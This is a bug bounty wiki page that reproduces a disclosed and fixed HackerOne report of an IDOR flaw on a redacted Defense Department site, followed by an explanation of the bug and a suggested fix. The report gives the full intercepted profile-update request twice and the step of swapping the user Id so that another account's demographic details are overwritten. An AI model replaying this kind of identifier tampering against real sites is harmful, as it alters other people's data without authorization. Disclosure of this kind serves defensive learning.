Skip to content
IDOR Disclosed report Beginner

IDOR : Modify other users demographic details

The biographical details submission endpoint accepted a user-supplied numeric identifier, so an authenticated attacker could change another user's demographic details by swapping that identifier. The report demonstrates this by editing a second account's profile from the first account.

prakhar0x01 Follow

Originally disclosed on HackerOne

  • Triaged in 21 hours
  • Fixed in 14 days
  • Disclosed after 15 days

Hii Triager,

Through researching on the DoD, I discovered an IDOR Vulnerability that allows a malicious user to modify other user's demographic details.

Vulnerable domain : www.█████████

Vulnerable Endpoint-

/JOINOnline/Board/SubmitDoc

For testing, I created two accounts with user-id: 1328 & 1327, you can test with them.

Required 2 test Accounts:

User-A User-B

Steps to Reproduce

1 - Login as User-A & User-B, Fill in the required details at: https://www.█████/JOINOnline/Board/BoardIntro/1021/<ID>/False 2 - Now, from the User-A account navigate to Biographical-Info, Update any information, and Intercept the Request.

POST /JOINOnline/Board/SubmitDoc HTTP/1.1
Host: www.█████████
Cookie: {YOUR-COOKIES}
...snip...
Connection: close

------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="UserId"

268
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="Id"

1328
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="BoardId"

1021
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2800"

Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2801"

Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2802"

Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2803"

Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2804"

12/12/2001
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2805"

167
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2806"

80
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2807"

Male
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="__RequestVerificationToken"

{VERIFICATION-TOKEN}
------WebKitFormBoundaryrQSrSuOi1l18BB2E--

3 - Change the Id parameter value, for eg. in this case you can change 1328 to 1327(User-B numeric-id) 4 - You can successfully able to change the User-B details

Proof Of Concept:

████████

Impact

  • IDOR

System Host(s)

www.███

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

1 - Login as User-A & User-B, Fill in the required details at: https://www.████████/JOINOnline/Board/BoardIntro/1021/<ID>/False 2 - Now, from the User-A account navigate to Biographical-Info, Update any information, and Intercept the Request.

POST /JOINOnline/Board/SubmitDoc HTTP/1.1
Host: www.█████
Cookie: {YOUR-COOKIES}
...snip...
Connection: close

------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="UserId"

268
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="Id"

1328
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="BoardId"

1021
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2800"

Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2801"

Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2802"

Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2803"

Test
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2804"

12/12/2001
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2805"

167
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2806"

80
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="que2807"

Male
------WebKitFormBoundaryrQSrSuOi1l18BB2E
Content-Disposition: form-data; name="__RequestVerificationToken"

{VERIFICATION-TOKEN}
------WebKitFormBoundaryrQSrSuOi1l18BB2E--

3 - Change the Id parameter value, eg. in this case you can change 1328 to 1327(User-B numeric-id) 4 - You can successfully able to change the User-B details

Suggested Mitigation/Remediation Actions

  • Effectively Tied the User-Ids & other numeric Id with the user Session.

The original report as published on HackerOne, by prakhar0x01. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server used the client-supplied numeric Id to select the profile record without verifying that it matched the authenticated session.

Impact

An authenticated user could modify another user's demographic details.

What the attacker needed

Two accounts on the site; victim's numeric identifier known

How it was found

  1. Log in as two separate users and complete the required details for each.
  2. From the first account, open the biographical info page, change a field and intercept the save request.
  3. Replace the Id value in the request with the second user's numeric identifier.
  4. Submit the request and observe that the second user's details are changed.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you save your profile, the website sends a request that includes a number identifying whose profile it is. The site trusted that number without checking that it belonged to the logged-in person, so anyone could put someone else's number in and overwrite their details. This kind of flaw is called an insecure direct object reference, or IDOR.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More by prakhar0x01

View all

10 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.